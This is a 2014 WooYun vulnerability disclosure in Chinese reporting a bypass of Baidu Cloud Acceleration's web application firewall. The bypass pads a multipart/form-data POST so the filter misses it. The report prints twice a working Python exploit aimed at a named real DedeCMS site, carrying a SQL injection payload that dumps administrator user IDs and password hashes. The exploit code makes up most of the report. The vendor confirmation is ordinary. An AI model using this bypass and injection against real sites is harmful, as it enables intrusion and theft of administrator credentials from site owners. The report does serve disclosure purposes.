当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-089246

漏洞标题：百度云加速防御规则绕过2

相关厂商：百度

漏洞作者： MayIKissYou

提交时间：2014-12-29 23:20

修复时间：2015-02-12 23:22

公开时间：2015-02-12 23:22

漏洞类型：设计缺陷/逻辑错误

危害等级：中

自评Rank：8

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-29： 细节已通知厂商并且等待厂商处理中
2014-12-30： 厂商已经确认，细节仅向厂商公开
2015-01-09： 细节向核心白帽子及相关领域专家公开
2015-01-19： 细节向普通白帽子公开
2015-01-29： 细节向实习白帽子公开
2015-02-12： 细节向公众公开

简要描述：

百度云加速waf规则绕过

详细说明：

1：之前制作dedecms特征的时候收集到了个域名是，
www.52jscn.com,此网站是dedecms类型的，但是测试payload的时候，发现此站点使用了百度云加速防护。
2：首先提交

http://www.52jscn.com/plus/search.php?keyword=123%20and%201=1


1.jpg


显示被百度云拦截了
3：将GET改为post的方式使用FF工具发送，发现还是被拦截了

2.jpg


4：POST 的urlencode方式，增加脏数据进入，继续提交，发现还是被拦截了。
5：此时使用POST的form-data的方式，并且填充数据，此时测试成功了，bypass掉了
测试代码：

import urllib2
import re
import urllib
url = 'http://www.52jscn.com/plus/recommend.php'
payload = 'union select 1 from table'
header = {
    'User-Agent' : 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
	'Content-Type' : 'multipart/form-data; boundary=----WebKitFormBoundarycMYRelX1B2H69xy9'
}
def getdata(m):
    return "1"*m
def postdata(n):
    u = "aa\\'and char(@`'`) /*!50000Union*/ /*!50000SeLect*/ 1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9 from `#@__admin`#"
    data = '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
    data += 'Content-Disposition: form-data; name="aid"\r\n\r\n'
	
    data += '1\r\n'
    data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
    data += 'Content-Disposition: form-data; name="m"\r\n\r\n'
	
    data += '%d\r\n' % 1*n
    data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
    data += 'Content-Disposition: form-data; name="_FILES[type][tmp_name]"\r\n\r\n'
    data += '%s\r\n' % u
    data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
    data += 'Content-Disposition: form-data; name="_FILES[type][name]"\r\n\r\n'
    data += '1.jpg\r\n'
    data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
    data += 'Content-Disposition: form-data; name="_FILES[type][type]"\r\n\r\n'
    data += 'application/octet-stream\r\n'	
    data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
    data += 'Content-Disposition: form-data; name="_FILES[type][size]"\r\n\r\n'
    data += '6878\r\n'		
    data += '------WebKitFormBoundarycMYRelX1B2H69xy9--\r\n\r\n'
    return data
proxy = "http://127.0.0.1:8080"
opener = urllib2.build_opener(urllib2.ProxyHandler({'http':proxy}))
urllib2.install_opener(opener)
request = urllib2.Request(url,postdata(10000),headers=header)
response = urllib2.urlopen(request).read()
print response


将打印的结果输出来

4.png


漏洞证明：

5：此时使用POST的form-data的方式，并且填充数据，此时测试成功了，bypass掉了
测试代码：

import urllib2
import re
import urllib
url = 'http://www.52jscn.com/plus/recommend.php'
payload = 'union select 1 from table'
header = {
    'User-Agent' : 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
	'Content-Type' : 'multipart/form-data; boundary=----WebKitFormBoundarycMYRelX1B2H69xy9'
}
def getdata(m):
    return "1"*m
def postdata(n):
    u = "aa\\'and char(@`'`) /*!50000Union*/ /*!50000SeLect*/ 1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9 from `#@__admin`#"
    data = '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
    data += 'Content-Disposition: form-data; name="aid"\r\n\r\n'
	
    data += '1\r\n'
    data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
    data += 'Content-Disposition: form-data; name="m"\r\n\r\n'
	
    data += '%d\r\n' % 1*n
    data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
    data += 'Content-Disposition: form-data; name="_FILES[type][tmp_name]"\r\n\r\n'
    data += '%s\r\n' % u
    data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
    data += 'Content-Disposition: form-data; name="_FILES[type][name]"\r\n\r\n'
    data += '1.jpg\r\n'
    data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
    data += 'Content-Disposition: form-data; name="_FILES[type][type]"\r\n\r\n'
    data += 'application/octet-stream\r\n'	
    data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
    data += 'Content-Disposition: form-data; name="_FILES[type][size]"\r\n\r\n'
    data += '6878\r\n'		
    data += '------WebKitFormBoundarycMYRelX1B2H69xy9--\r\n\r\n'
    return data
proxy = "http://127.0.0.1:8080"
opener = urllib2.build_opener(urllib2.ProxyHandler({'http':proxy}))
urllib2.install_opener(opener)
request = urllib2.Request(url,postdata(10000),headers=header)
response = urllib2.urlopen(request).read()
print response


将打印的结果输出来

4.png

修复方案：

加规则吧

版权声明：转载请注明来源 MayIKissYou@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2014-12-30 14:30

厂商回复：

感谢提交，已通知业务部门处理

最新状态：

暂无

漏洞评价：

评论